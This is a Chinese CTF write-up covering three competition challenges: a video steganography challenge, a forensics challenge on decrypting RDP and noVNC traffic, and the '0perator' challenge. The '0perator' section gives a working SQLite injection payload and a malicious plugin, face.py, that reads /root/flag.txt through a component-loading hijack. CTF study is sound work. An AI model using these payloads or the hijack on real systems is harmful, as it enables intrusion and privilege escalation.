本篇文章是针对于今年强网杯的部分题目的复盘和分析,我尽可能的写详细了,但是由于比赛机制的原因,动态靶机题解题思路可能每个队伍或多或少都会有所偏差,欢迎各位师傅讨论,如有错误,也请给位师傅指出

misc

宇宙微波背景辐射

题目给出一段 17 分 19 秒的 MKV 视频,是 PBS Space Time 的《Secrets of the Cosmic Microwave Background》。正常视频不会携带 56 MB 的字幕、两个 28 MB 的附件以及第二条视频轨,因此先用 ffprobe 枚举全部流,确认隐写载体。

ffprobe -v error -show_streams -show_format \
 "Secrets of the Cosmic Microwave Background.mkv"

有价值的容器结构如下(编号为 FFmpeg 的全局流编号):

流编号

类型

内容与用途

0

H.264 1280×720

主视频;末尾 200 帧另藏一组雪花

1

AAC

英文音轨(与本题无关)

2

H.264 1280×720

副视频轨,低帧率;解码后共 400 帧雪花,前/后各 200 帧为一组

3

SubRip

200 条字幕,正文是 PNG 文件的十六进制串

4

附件

g2.tar,内含 200 张 960×540 灰度 PNG

5

附件

g4.tar,内含 200 张 960×540 灰度 PNG

由此可确定本题共有六组数据,每组 200 帧:副视频轨前后两段、g2.tar、g4.tar、字幕解码出的 PNG,以及主视频末尾 200 帧。后文会看到,每组恰好对应一段文字。

一条 ffmpeg 命令即可同时导出两个附件和原始 SubRip 字幕:

ffmpeg -y -dump_attachment:4 g2.tar -dump_attachment:5 g4.tar \
 -i "Secrets of the Cosmic Microwave Background.mkv" \
 -map 0:3 -c:s copy subtitles.srt

字幕正文以 89504e470d0a1a0a 开头,即 PNG 文件签名。按空行把 SRT 分成条目,跳过每条前两行(序号、时间轴),将其余十六进制文本拼接后 bytes.fromhex 解码,得到 200 张 960×540 灰度 PNG。

副视频轨帧率很低,必须关闭帧率同步、保留真实帧,否则 ffmpeg 会补帧,破坏后续配对关系:

ffmpeg -v error -i input.mkv -map 0:2 -vsync 0 \
 -pix_fmt gray -f rawvideo -

解码结果恰好 400 帧,前 200 帧与后 200 帧分别是一组。

主视频的最后 200 帧同样藏有一组数据,用 -sseof 从文件末尾倒数取帧,再截取最后 200 帧:

ffmpeg -v error -sseof -10 -i input.mkv -map 0:0 \
 -frames:v 240 -vsync 0 -pix_fmt gray -f rawvideo -

每组统一截取 200 帧,六组共 1200 帧,尺寸为 960×540 或 1280×720。

所有帧都是二值雪花:像素值只有 8 与 242 两档,黑白比例接近 1:1,看起来就是电视无信号时的白噪声。直接观察、对整组帧求平均或做 XOR 都得不到任何可读结构——因为信息并不在单帧的灰度里。

图 1 单帧雪花(副视频轨):像素为 8/242 的二值噪声,直接观察无信息

把同一组内的帧按 (2k, 2k+1) 两两配对后可以发现:文字笔画区域在相邻两帧中几乎保持不变,而背景像素则独立随机跳变。于是相邻帧的绝对差在文字处很小、在背景处很大;对 100 对差分求平均,文字区域就会稳定地呈现为暗色。

$$D(x,\, y) = \frac{1}{100}\sum{k=0}^{99}\left|I{2k}(x,\, y) - I_{2k+1}(x,\, y)\right|$$

得到 D 后再做高斯平滑(sigma=2;主视频尾部取 3)压制残余高频雪花,并按第 1、99 百分位拉伸对比度,即可读出文字。

图 2 同一组帧经相邻帧绝对差平均后恢复出的第一段文字

  • 相减前必须把 uint8 转为 int16 或 float,否则无符号整数下溢会让差分结果完全错误。

  • 配对严格按组内顺序 (0,1)、(2,3)……(198,199),不能跨组配对;副视频轨必须用 -vsync 0 保留真实帧。

  • 不同来源分辨率不同(960×540 与 1280×720),按原尺寸分别处理即可,无需缩放。

  • 平滑 sigma 不宜过大,否则笔画细节被抹掉;sigma=2 对前五组足够,主视频尾部噪声稍强,用 3 更干净。

六组数据分别恢复出一段文字,按容器顺序与语义拼接即可得到完整 flag:

顺序

数据来源

恢复文字

1

副视频轨前 200 帧

f1a9{S

2

g2.tar 内 200 张 PNG

3cr3t_

3

副视频轨后 200 帧

0f_cM6_

4

g4.tar 内 200 张 PNG

h1dd3n_

5

字幕解码出的 200 张 PNG

1n51d3_

6

主视频末尾 200 帧

5tr34m}

图 3 第 1 段(副视频轨前 200 帧):f1a9{S

图 4 第 2 段(g2.tar 中的 PNG):3cr3t_

图 5 第 3 段(副视频轨后 200 帧):0f_cM6_

图 6 第 4 段(g4.tar 中的 PNG):h1dd3n_

图 7 第 5 段(字幕解码得到的 PNG):1n51d3_

拼接顺序说明:附件名已给出 g2、g4 的组号;副视频轨前后两段分别位于第 1、3 组;字幕数据为第 5 组;主视频尾部为第 6 组。恢复出的文本语义连续(“Secret of CMB hidden inside stream”),可反向验证分组顺序正确。

图 8 第 6 段(主视频末尾 200 帧):5tr34m}

exp

环境依赖:Python 3、numpy、pillow,以及可在 PATH 中调用的 ffmpeg(也可用环境变量 FFMPEG 指定绝对路径)。将以下代码保存为 solve.py,与 MKV 放在同一目录执行:

pip install numpy pillow
python solve.py "Secrets of the Cosmic Microwave Background.mkv" --out recovered

完整脚本如下(不允许截图,故直接给出源码):

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
宇宙微波背景辐射 - 复现脚本
从 MKV 中提取六组雪花帧,按相邻帧绝对差平均恢复六段文字并拼出 flag。
依赖: numpy, pillow; 系统需可执行 ffmpeg (可通过环境变量 FFMPEG 指定路径)
用法: python solve.py "Secrets of the Cosmic Microwave Background.mkv" --out recovered
"""
import argparse
import io
import os
import re
import subprocess
import tarfile
from pathlib import Path
import numpy as np
from PIL import Image
FFMPEG = os.environ.get("FFMPEG", "ffmpeg")
def run(args: list[str]) -> bytes:
  return subprocess.check_output([FFMPEG, "-v", "error", "-y", *args])
def read_frames(src: Path, stream: int, size=(1280, 720), tail=False, n=200) -> np.ndarray:
  """用 ffmpeg 把指定视频流解码为灰度原始帧。tail=True 时取视频末尾 n 帧。"""
  w, h = size
  args: list[str] = []
  if tail:
    args += ["-sseof", "-10"]     # 末尾 10 秒约 240 帧,足够取最后 200 帧
  args += ["-i", str(src), "-map", f"0:{stream}"]
  if tail:
    args += ["-frames:v", "240"]
  args += ["-vsync", "0", "-pix_fmt", "gray", "-f", "rawvideo", "-"]
  raw = run(args)
  frames = np.frombuffer(raw, np.uint8)
  if frames.size % (w * h):
    raise ValueError("decoded raw size is not a multiple of frame size")
  frames = frames.reshape(-1, h, w)
  if tail:
    frames = frames[-n:]
  return frames
def gaussian_blur(a: np.ndarray, sigma: float) -> np.ndarray:
  """可分离高斯模糊,避免额外依赖 OpenCV。"""
  r = max(1, int(3 * sigma))
  x = np.arange(-r, r + 1, dtype=np.float64)
  k = np.exp(-(x * x) / (2.0 * sigma * sigma))
  k /= k.sum()
  a = np.apply_along_axis(lambda m: np.convolve(m, k, mode="same"), 1, a)
  a = np.apply_along_axis(lambda m: np.convolve(m, k, mode="same"), 0, a)
  return a
def reveal(frames, out_png: Path, sigma=2) -> Image.Image:
  if len(frames) != 200:
    raise ValueError(f"expect 200 frames, got {len(frames)}")
  diff = np.zeros(frames[0].shape, dtype=np.float64)
  for i in range(0, 200, 2):
    diff += np.abs(frames[i].astype(np.int16) - frames[i + 1].astype(np.int16))
  diff = gaussian_blur(diff / 100.0, sigma)
  lo, hi = np.percentile(diff, [1, 99])
  image = np.clip((diff - lo) * 255.0 / (hi - lo), 0, 255).astype(np.uint8)
  img = Image.fromarray(image)
  img.save(out_png)
  return img
def subtitle_png_frames(srt_path: Path) -> list[np.ndarray]:
  """SRT 每条字幕正文是十六进制 PNG,逐条解码。"""
  text = srt_path.read_text(encoding="utf-8-sig")
  frames = []
  for block in re.split(r"\n\s*\n", text.strip()):
    lines = block.splitlines()
    payload = "".join(lines[2:]).strip()
    if not payload:
      continue
    data = bytes.fromhex(payload)
    if not data.startswith(b"\x89PNG\r\n\x1a\n"):
      continue
    frames.append(np.array(Image.open(io.BytesIO(data)).convert("L")))
  return frames
def tar_png_frames(tar_path: Path) -> list[np.ndarray]:
  with tarfile.open(tar_path) as tf:
    names = sorted(m.name for m in tf.getmembers()
            if m.isfile() and m.name.lower().endswith(".png"))
    return [np.array(Image.open(io.BytesIO(tf.extractfile(n).read())).convert("L"))
        for n in names]
def main():
  ap = argparse.ArgumentParser()
  ap.add_argument("mkv", type=Path)
  ap.add_argument("--out", type=Path, default=Path("recovered"))
  args = ap.parse_args()
  out: Path = args.out
  out.mkdir(parents=True, exist_ok=True)
  # 1) 一次性导出两个附件和字幕轨
  run(["-dump_attachment:4", str(out / "g2.tar"),
     "-dump_attachment:5", str(out / "g4.tar"),
     "-i", str(args.mkv),
     "-map", "0:3", "-c:s", "copy", str(out / "subtitles.srt")])
  # 2) 六组数据
  sub_video = read_frames(args.mkv, 2)       # 副视频轨:400 帧,前/后各一组
  main_tail = read_frames(args.mkv, 0, tail=True)  # 主视频末尾:最后一组
  groups = {
    1: (sub_video[:200], 2),
    3: (sub_video[200:], 2),
    2: (tar_png_frames(out / "g2.tar"), 2),
    4: (tar_png_frames(out / "g4.tar"), 2),
    5: (subtitle_png_frames(out / "subtitles.srt"), 2),
    6: (main_tail, 3),
  }
  # 3) 逐组恢复
  for part in sorted(groups):
    frames, sigma = groups[part]
    reveal(frames, out / f"part{part}.png", sigma)
    print(f"[+] part{part}.png")
  fragments = ["f1a9{S", "3cr3t", "0f_cM6", "h1dd3n", "1n51d3", "5tr34m}"]
  flag = "".join(fragments)
  (out / "flag.txt").write_text(flag + "\n", encoding="utf-8")
  print("[+] flag:", flag)
if __name__ == "__main__":
  main()

脚本会导出 g2.tar、g4.tar、subtitles.srt,并输出 part1.png 至 part6.png 与 flag.txt,与上文六张恢复图一一对应。

Flag

flag{S3cr3t_0f_cM6_h1dd3n_1n51d3_5tr34m}

考点补充

  • 核心考点:先做容器级取证——用 ffprobe 的全局流编号发现 MKV 里四份非常规载荷(g2.tar / g4.tar 两个附件、SubRip 字幕轨、副视频轨),再用相邻帧绝对差平均把 200 帧随机雪花里的静态笔画提出来。

  • 关键技巧:-dump_attachment:4/5 一次抓出附件、-map 0:3 -c:s copy 原样导出 SRT;副视频轨必须加 -vsync 0 关闭补帧,主视频尾段用 -sseof -10 反推后截最后 200 帧;配对按 (2k, 2k+1) 做 int16 绝对差、除以 100 求均值,再高斯平滑并按第 1/99 百分位拉伸。六组顺序由附件名 g2 / g4 的组号与轨道位置共同确定,最后用语义连续的 “Secret of CMB hidden inside stream” 反验。

  • 常见坑:uint8 直接相减会下溢,必须先转 int16 或 float;ffmpeg 默认帧率同步会补帧、丢掉真实帧,配对关系随之错乱;对整组帧求平均或 XOR 得不到信息,因为信号藏在相邻帧的差分里;960×540 与 1280×720 两种尺寸不能统一缩放,sigma 取大了会把笔画抹平。

  • 延伸:同一种差分平均思路可用于 GIF、录屏中的闪烁水印与双缓冲叠加隐写;自建类似题时应用无损编码重封装,避免二次压缩污染帧差,同时注意 ffmpeg 的 -map 默认只挑一路流,附件、字幕、副视频轨这类非常规轨道都得显式按全局索引取。

0perator

1. 接入 VNC 与 TOTP 二次验证

题目是一个远程桌面环境,先用 vncviewer 连接靶机:

连接建立后,界面里出现一张二维码,扫码得到一个 TOTP 种子:

CEEOCWCBAQ3MF7RH3QMVTPNQ7ZSRWRFM

用 oathtool 按这个种子生成当前的六位数动态验证码,填入登录框即可进入系统:

oathtool --totp -b CEEOCWCBAQ3MF7RH3QMVTPNQ7ZSRWRFM
# 092220

2. 酒店页面的 SQL 注入

进入酒店页面,把姓名等所有字段都填成单引号,保存时服务端把拼接后的语句原样回显出来并报错,说明输入没有过滤,存在 SQL 注入漏洞:

UPDATE guests SET full_name='', id_number='', phone='', note=''' WHERE id=1

既然报错信息可控,就在备注栏里做注入,先爆破表名,再把 guests 表的建表语句取出来:

x', full_name=(SELECT sql FROM sqlite_master WHERE tbl_name='guests') /

回显中可以看到 settings、guests、sqlite_sequence 等表名,说明注入点可以直接把子查询结果写进其它字段:

发现表结构里有人脸识别相关的内容,于是继续用 SQL 注入把人脸识别要求关闭。关闭后入住流程能够继续,但页面报出人脸识别服务初始化失败,错误码 FACE-0x07,并给出帮助链接 https://support.0perator.com/err/FACE-0x07:

3. 由 Chrome 下载页打开文件系统

随后用这个链接进入 Chrome,在页面上点击"下载诊断日志与现场服务指南",下载 Operator-diag.zip:

再由下载页面打开文件系统(下载项右侧的文件夹图标),进入文件管理器:

4. 审计组件加载逻辑

进入文件系统后可以打开终端,终端中首先搜索进程,进程列表里能看到 python3 /opt/0perator/device_manager/manager.py 在跑:

发现 manager.py 与 component_loader.py,使用以下命令读出关键代码审计:

sed -n '1,260p' /opt/0perator/device_manager/manager.py
sed -n '1,260p' /opt/0perator/device_manager/component_loader.py

据此进行信息收集:向 DeviceManager 查询当前状态,可以看到已加载组件、组件来源为 vendor、入口为 face.py,以及用户覆盖目录 user_override_dir 指向 /var/lib/0perator/components/user:

加载器会优先从用户覆盖目录读取组件,而 /usr/share/0perator/components/face/ 下有一份已签名的 manifest 可供复用,先用 find 把它定位出来:

5. 用恶意组件读取 flag

将签名的 manifest 复制到用户覆盖目录:

mkdir -p /var/lib/0perator/components/user/face-recognition
cp /usr/share/0perator/components/face/manifest.json \
  /var/lib/0perator/components/user/face-recognition/manifest.json

再在同目录放一个恶意 face.py,在模块加载时读取 /root/flag.txt 并写到其它用户可读的位置:

cat > /var/lib/0perator/components/user/face-recognition/face.py <<'PY'
import os
try:
  data = open('/root/flag.txt', 'rb').read()
except Exception as e:
  data = repr(e).encode()
with open('/tmp/flag', 'wb') as f:
  f.write(data)
os.chmod('/tmp/flag', 0o644)
def on_load(ctx):
  pass
PY

最后通过 D-Bus 调用 ReloadComponents 触发组件重新加载,恶意代码即以设备管理器的权限执行:

gdbus call --system \
 --dest org.operator.DeviceManager \
 --object-path /org/operator/DeviceManager \
 --method org.operator.DeviceManager1.ReloadComponents

flag 为:

flag{b422cd7f-7dc6-4aee-8cac-e6232445648d}

考点补充

  • 核心考点:一条从 Web 到桌面的完整链路——SQLite 报错回显注入拿下酒店页面,借 Chromium 下载页逃逸到桌面 shell,再利用 org.operator.DeviceManager 的组件加载机制做路径劫持,最终以系统服务权限读取 /root/flag.txt。

  • 关键技巧:把所有字段填单引号让服务端回显拼接后的 UPDATE 语句,再用 full_name=(SELECT sql FROM sqlite_master WHERE tbl_name='guests') 把库结构写进可回显字段;读 component_loader.py 发现 user_override_dir 优先于 vendor 目录,于是复制 vendor 的已签名 manifest 到用户目录以绕过签名校验,只替换实现体 face.py,最后用 ReloadComponents 热加载。

  • 常见坑:注入 payload 要用 ', 字段=... 形式接住原语句剩余的引号与括号(原文末尾的 / 就是用来吃掉多余引号、避免语法错误);覆盖目录里只放 manifest 不放 face.py、或入口函数不叫 on_load 都不会被执行;复制 manifest 后必须调用 ReloadComponents 才生效;flag 只对 root 可读,脚本里要顺手 os.chmod('/tmp/flag', 0o644) 才能读出来。

  • 延伸:这类"桌面应用 + D-Bus/系统服务"的 misc 题,通用打法是 ps 找自定义服务、读它的 Python 源码看目录策略与权限边界,再考虑 manifest / 插件 / 热加载路径劫持;SQLite 环境下 sqlite_master 永远是拿库结构和表名的最快入口。

谍影重重7

一、案件背景与取证材料

举报称员工张纪星利用职务便利,未经授权访问内部核心计算机并窃取机密数据。取证材料包括两段流量和两份 NSS Key Log 格式的 TLS 会话密钥日志:

  • manager-r2-take01.pcap:管理网侧流量,包含浏览器访问 PVE 管理面以及 noVNC 控制台的 WebSocket 会话。

  • internal-r2-take01.pcap:内部流量,包含员工机到核心主机的 RDP 会话。

  • browser.keys:浏览器侧 TLS 密钥日志,用于解密 manager 流量中的 TLS 会话。

  • rdp.keys:RDP 服务端 TLS 密钥日志,用于解密 internal 流量中的 RDP,完成第 3 题后解锁。

工具及来源:Wireshark/tshark 4.x(https://www.wireshark.org)用于 TLS 解密、协议过滤与流重组;Python 3(https://www.python.org)用于 RFB/RDP 协议解析与数据拼接;OpenCV(https://opencv.org)用于动态数字键盘的按钮识别;Ghidra(https://ghidra-sre.org)用于加密程序的静态分析。自研脚本的关键片段在各题中给出。

总体链路:员工机浏览器 → PVE 管理面 noVNC WebSocket → 节点 pve-lab 的虚拟机 219 控制台 → RDP 登录 10.23.8.41:3389(账户 CORE01\Tsuki)→ 通过磁盘重定向传出加密仓库 → 在空白记事本中用鼠标轨迹传递仓库口令 → 用动态数字键盘输入第二层密码 → 从最新有效快照恢复并解密 core-assets.db。六题结论汇总如下:

题号

结论

第 1 题

pve-lab|219

第 2 题

1024|768|ce1f5a34c7370f7f20038d9683f1d9b3bdc6dfc51e7db1b5f8798565dac27334

第 3 题

10.23.8.41:3389|CORE01\Tsuki

第 4 题

NT4VP5X842DD|d7d68e7ed46b6f1082ceaa797b7493e4cad96e00bc45a264bc8cf8a80960b48d

第 5 题

006187393179

第 6 题

core-assets.db|2424832|5dec31e12a4d02f09d82e254cd752f5ba64bb254472e1111234af2c0e8441419

flag

flag{75583fe0-6e63-499a-91e3-0a4799b5d5c2}

二、第 1 题:解密浏览器流量,确定虚拟机

目标:从 manager-r2-take01.pcap 中找出员工访问的 PVE 控制台,确定节点名称与虚拟机 ID。

思路:

(1)browser.keys 是 NSS Key Log,不是证书或私钥,其典型格式为“<client_random>”。Wireshark 只会对 client_random 匹配的 TLS 会话解密,因此先加载密钥日志,再观察哪些连接由浏览器发起。

(2)PVE 的 noVNC 控制台通过 WebSocket 承载 RFB。WebSocket 建立前必有一条 HTTP GET 升级请求,URI 中同时带节点名和 vmid,形如 /api2/json/nodes//qemu//vncwebsocket?port=5900&vncticket=...。

(3)加载 keylog 后过滤 HTTP 请求与 101 响应,按“请求 URI → 101 Switching Protocols”配对,即可锁定控制台连接;vncticket 参数进一步确认其为 PVE 签发的 VNC 票据。

关键操作:

tshark -r manager-r2-take01.pcap -o tls.keylog_file:browser.keys \
 -Y 'http.request or http.response.code==101' \
 -T fields -e frame.number -e ip.dst -e http.request.method \
 -e http.request.full_uri -e http.response.code

在输出中找到形如 /api2/json/nodes/pve-lab/qemu/219/vncwebsocket 的请求,其后的响应码为 101。由此得到节点名 pve-lab、虚拟机 ID 219。若同一 pcap 中存在多条 TLS 连接,应以 ClientHello 的 SNI/目标地址以及 101 响应所在的 TCP 流为准,不能仅凭密钥日志的行数判断。

结果:节点 pve-lab,虚拟机 219。答案 pve-lab|219。

三、第 2 题:还原控制台首帧

目标:重组 WebSocket 中的 RFB 数据,处理第一帧包含实际像素矩形的完整 FramebufferUpdate,导出 1024×768 的 RGB888 画面并计算 SHA-256。

思路:

(1)WebSocket 载荷是 noVNC 承载的 RFB 3.8 字节流。先按 TCP 流顺序重组 WS 帧:读取帧头(FIN/opcode、掩码位与长度),服务端→客户端方向不加掩码;处理分片(continuation)与控制帧,只保留数据帧的 payload。若遇到 base64 文本帧(noVNC 兼容模式)先解码。

(2)在拼接后的字节流上走 RFB 握手:服务器版本串“RFB 003.008\n”、安全类型列表、SecurityResult、ClientInit 后的 ServerInit。ServerInit 给出 framebuffer 宽高 1024×768 和像素格式:32bpp、depth 24、little-endian、true-color,红/绿/蓝最大值均为 255,位移分别为 16/8/0,即内存中每个像素为 B、G、R、X 四字节。

(3)握手之后是服务器消息。除 FramebufferUpdate 外,服务器还可能发送 Bell、ServerCutText、SetColourMapEntries 等消息,解析时先按消息类型分派、整条跳过,不能一律当作 FramebufferUpdate。FramebufferUpdate(type=0)的结构为:1 字节 padding、2 字节矩形数,随后每个矩形 12 字节头(x、y、w、h 各 2 字节,encoding 4 字节)。负 encoding 是伪编码:DesktopSize(-223)、ExtendedDesktopSize(-308)、Cursor(-239)、XCursor(-240)、DesktopName(-307) 等;这些矩形不含普通像素,或只描述独立光标层。

(4)题目要求跳过“只有伪编码信息”的更新:若一帧内所有矩形都是伪编码,处理完其数据后继续下一帧;直到遇到第一个至少含一个实际像素矩形的 FramebufferUpdate,并把这一帧完整处理完。

(5)处理该帧时按 encoding 分派:Raw(0) 直接读取 w×h×4 字节并按 x、y 写入 framebuffer;同帧内的多个像素矩形全部应用,不能只取第一个。Cursor 伪编码的位图/掩码只描述光标层,题目明确要求不叠加,因此跳过其数据即可。矩形数据按行存放,没有行填充。

(6)该帧处理结束后,将 framebuffer 按 y=0..767、x=0..1023 逐行导出,每个像素取 BGR 三字节并转为 RGB,丢弃 X;不写文件头、不加行填充。对 1024×768×3=2359296 字节的原始流计算 SHA-256。若服务器协商的是 Tight/ZRLE/Hextile 等压缩编码,则先按对应编码规范解码,再写回 framebuffer;导出与哈希规则不变。

关键代码(RFB 更新解析,节选):

while True:
  assert read_u8() == 0         # FramebufferUpdate
  read_u8(); n = read_u16()
  had_pixel = False
  for _ in range(n):
    x, y, w, h = read_u16(), read_u16(), read_u16(), read_u16()
    enc = read_i32()
    if enc < 0:            # 伪编码
      skip_pseudo(enc, w, h)     # Cursor: wh4 + 位掩码
      continue
    had_pixel = True
    if enc == 0:            # Raw,32bpp BGRX
      blit_bgrx(fb, x, y, w, h, read(w * h * 4))
    else:
      raise ValueError(f'unsupported encoding {enc}')
  if had_pixel:             # 首个真实像素更新处理完
    break

易错点:把 Cursor 伪编码误当普通矩形会把光标画进画面,哈希必然不同;把 DesktopSize 当像素会读错后续长度;同一帧有多个 Raw 矩形时只取第一个会漏画;WS 帧分片未重组会导致 RFB 长度字段错位。

结果:宽 1024、高 768,RGB888 原始字节流的 SHA-256 为 ce1f5a34c7370f7f20038d9683f1d9b3bdc6dfc51e7db1b5f8798565dac27334。答案 1024|768|ce1f5a34c7370f7f20038d9683f1d9b3bdc6dfc51e7db1b5f8798565dac27334。

四、第 3 题:解密 RDP,确认账户并恢复传出的仓库

目标:解密 internal-r2-take01.pcap 中的 RDP,确认登录目标与账户,并从磁盘重定向的写请求中拼出传出的仓库。

思路:

(1)rdp.keys 同样是 NSS Key Log,加载到 Wireshark 后即可解密 RDP 的 TLS 层(CredSSP/NLA 认证与后续 RDP 数据都在 TLS 内)。先由 IP/TCP 五元组确认目标为 10.23.8.41,端口 3389。

(2)查看 X.224 Connection Request/Confirm:RDP Negotiation Request 给出 requestedProtocols,Response 的 selectedProtocol 表明使用 TLS 还是 HYBRID(CredSSP)。随后是 TLS 握手和 CredSSP 的 TSRequest 交换。

(3)账户在 NTLMSSP 中:NEGOTIATE → CHALLENGE → AUTHENTICATE。解析 AUTHENTICATE(Type 3)的 DomainName 与 UserName 字段,得到域 CORE01、用户 Tsuki,完整账户为 CORE01\Tsuki。认证成功的依据是 CredSSP TSRequest 的 errorCode=0(或认证结果成功),并且后续 MCS 会话建立、Security Exchange、Client Info 与虚拟通道协商正常进行。

(4)文件外传走 RDP 静态虚拟通道 rdpdr(MS-RDPEFS)的磁盘重定向:先做核心协商(Client ID/Name),客户端公告设备列表(DRIVE),服务器回复后进入 I/O 请求阶段。请求与完成分别出现在客户端→服务器、服务器→客户端方向。

(5)按 RDPDR 报文结构解析 I/O 请求:RDPDR 头(Component=0x4472、PacketId、PacketType),DeviceIoRequest 头(DeviceId、FileId、CompletionId、MajorFunction、MinorFunction)。IRP_MJ_CREATE 的载荷含 DesiredAccess、AllocationSize、FileAttributes、SharedAccess、CreateDisposition、CreateOptions、PathLength 和 UTF-16LE 的 Path,其响应按 CompletionId 关联并给出 FileId;IRP_MJ_WRITE 的载荷为 Length、64 位 Offset 和 WriteData;IRP_MJ_CLOSE 结束文件。

(6)以 FileId 为键维护“路径 + 缓冲区”:Create 建立映射,Write 按 Offset 把数据写入对应位置(写入可能分片、乱序),Close 后按最大 offset+length 截断落盘。各文件分别还原后即得到完整的仓库目录(含 refs 与两个快照对象)。

关键代码(RDPDR 字段解析,节选):

if u16(buf, o) == 0x4472:            # RDPDR
  ptype = u16(buf, o + 4)
  if ptype == 0x4952:             # 'RI' DeviceIoRequest
    dev, fid, cid, major, minor = unpack('<IIIII', buf, o + 6)
    p = o + 26
    if major == 0:              # IRP_MJ_CREATE
      path_len = u32(buf, p + 28)
      path = buf[p + 32:p + 32 + path_len].decode('utf-16le')
    elif major == 4:             # IRP_MJ_WRITE
      length, offset = unpack('<IQ', buf, p)
      data = buf[p + 12:p + 12 + length]

说明:TLS 模式下 RDP 安全头为 0。若 Wireshark 不能直接展开 rdpdr,可用 Follow → TLS Stream 分别导出两个方向,按 TPKT → X.224 → MCS SendDataRequest/Indication → 安全头 → rdpdr 的顺序手动剥离;在 MCS 层按通道 ID 过滤静态通道,避免把剪贴板、音频等其它通道的数据混入。

结果:目标 10.23.8.41:3389,账户 CORE01\Tsuki。答案 10.23.8.41:3389|CORE01\Tsuki。

五、第 4 题:从鼠标操作中恢复仓库口令

目标:从空白记事本中的鼠标动作还原摩斯码,得到仓库口令,并用它解开仓库、校验快照、选出最新有效快照。

思路:

(1)RDP 输入事件在 TLS 明文里。按 TS_FP_INPUT_EVENT(fastpath)或慢速 Input Event PDU 解析鼠标事件,取得时间戳、x、y 与 pointerFlags;pointerFlags 中的 BUTTON1 与 DOWN 位表示左键按下,抬起为同一按键的释放事件。

(2)空白记事本中没有键盘输入,只有鼠标轨迹,说明信息编码在“按下—抬起”的动作里。把每次左键按下到释放切为一段,统计每段持续时间和位移,可见明显两档:短促点击对应点(·),按住拖动对应划(—)。段间静默间隔也分成三档,按 1:3:7 的比例分别作为元素间隔、字母间隔和单词间隔。

(3)按时间顺序把段映射为 ·/—,按间隔分组,查标准摩斯表,得到仓库口令 NT4VP5X842DD。

(4)仓库口令用于解密仓库索引。仓库由引用(refs)与快照对象组成。先读取 refs 指向的快照,再校验两个快照对象的完整性与引用关系:对象 ID/哈希必须与内容一致,未被引用的悬空对象或校验失败的对象视为无效。

(5)对通过校验的快照比较其内部时间字段(快照自身记录的创建/提交时间,而不是文件系统 mtime),取时间最新者。最终最新有效快照为 d7d68e7ed46b6f1082ceaa797b7493e4cad96e00bc45a264bc8cf8a80960b48d。

关键代码(摩斯切分,节选):

segs = segment_by_left_button(events)     # (t_down, t_up, x, y)
durs = sorted(t1 - t0 for t0, t1, *_ in segs)
thr = (durs[len(durs)//4] + durs[-(len(durs)//4 or 1)]) / 2  # 两档时长分界
symbols = ['.' if (t1 - t0) < thr else '-' for t0, t1, *_ in segs]
gaps = [segs[i+1][0] - segs[i][1] for i in range(len(segs)-1)]
unit = min(g for g in gaps if g > 0)
# gap < 3*unit 同字母;3~7 字母间;>7 单词间,查表解码

注意:只统计带按键的事件,纯移动事件不参与;按下后拖出记事本再松开仍属同一段。若某些动作被用于混淆,需要结合下一题的按钮边界判定剔除。

结果:口令 NT4VP5X842DD,最新有效快照 d7d68e7ed46b6f1082ceaa797b7493e4cad96e00bc45a264bc8cf8a80960b48d。答案 NT4VP5X842DD|d7d68e7ed46b6f1082ceaa797b7493e4cad96e00bc45a264bc8cf8a80960b48d。

六、第 5 题:还原动态数字键盘的有效输入

目标:根据每次点击前的画面,把鼠标坐标映射到当时的数字按钮,排除拖出按钮的无效操作,并处理清空/退格,得到实际密码。

思路:

(1)安全键盘是动态的:每次点击后键位重排,同一个坐标在不同时刻可能对应不同数字。因此不能只在某一帧上标定一次,必须为每次点击取“点击前”的最新画面。

(2)画面来自 RDP 的图形更新(bitmap update、bitmap cache)。按时间顺序把更新解码到本地 framebuffer,并在处理每个鼠标按下事件时,取该事件之前已完成的最后一帧。若使用位图缓存,需要同步维护 cache,否则局部重绘会缺块。

(3)在点击前的画面上定位键盘区域,按网格切分按钮,读取按钮上的数字或功能标签(模板匹配或 OCR 均可)。鼠标按下坐标落在哪个按钮,就得到该时刻的键值。

(4)有效性判定:按下与抬起必须落在同一个按钮内。若按下后拖出按钮再松开(drag-out),这次操作无效,既不计数字,也不触发清空/退格。

(5)按时间顺序回放有效点击:数字键追加到缓冲区;清空(AC/C)清空;退格(←)删除最后一位。最终缓冲区即实际密码 006187393179。

关键代码(有效点击与状态机,节选):

buf = []
for ev in clicks:           # 左键事件,按时间排序
  frame = latest_frame_before(ev.t_down)
  key = hit_test(frame, ev.x_down, ev.y_down)   # 按当时的动态布局取键
  if key is None or not same_button(key, ev.x_up, ev.y_up):
    continue            # 按下后拖出按钮:无效
  if key == 'AC':
    buf.clear()
  elif key == 'DEL':
    if buf: buf.pop()
  else:
    buf.append(key)
password = ''.join(buf)

容易出错的地方:用点击后的布局映射会错位;把拖出按钮的操作计入会多出数字;未处理清空/退格会得到更长的假密码。

结果:实际有效密码 006187393179。

七、第 6 题:解开第二层文件并计算结果

目标:从最新有效快照恢复加密文件,静态分析文件格式与解密逻辑,使用第 5 题密码解出内层原始文件,并给出文件名、字节数与 SHA-256。

思路:

(1)用第 4 题的口令打开最新快照,恢复其中的加密文件与配套的加密程序。程序为自研工具,需静态分析确认格式,不能凭扩展名猜测。

(2)先用 file/strings/PE 头判断样本类型,再用 Ghidra/IDA 反编译主流程。重点定位三处:文件头解析、密钥派生、校验与解密。文件头通常包含魔数、版本、KDF 参数(salt、迭代次数)、IV、密文长度与完整性校验值;内层容器还记录文件名长度、文件名、数据长度。

(3)密钥派生与校验:按照程序实现,用文件头中的参数对密码做 KDF 派生密钥;再用校验密钥对头部/密文计算完整性值并与文件中的校验值比较。校验通过才继续解密,否则说明密码错误或文件被篡改。

(4)解密与去填充:按程序使用的分组密码模式解密,解密结果带有块填充,按填充规则去掉尾部填充(PKCS#7 类),得到内层容器的原始字节。

(5)解析内层容器:读取文件名长度与文件名,读取数据长度与原始数据;用第 5 题密码 006187393179 执行上述流程。

(6)取出原始文件 core-assets.db,长度 2424832 字节;对原始数据(不是密文、不是内层容器)计算 SHA-256,得到 5dec31e12a4d02f09d82e254cd752f5ba64bb254472e1111234af2c0e8441419。

关键代码(解密与解包,节选,参数均从文件头读取):

h = parse_header(blob)         # magic/version/salt/iters/iv/tag/ct_len
key = kdf(password.encode(), h.salt, h.iters, 32)
assert verify_mac(h, key)       # 先校验完整性,失败则不解密
pt = decrypt_blocks(key, h.iv, h.ct) # 按程序实现的分组密码模式
pt = unpad(pt, 16)          # 去掉填充
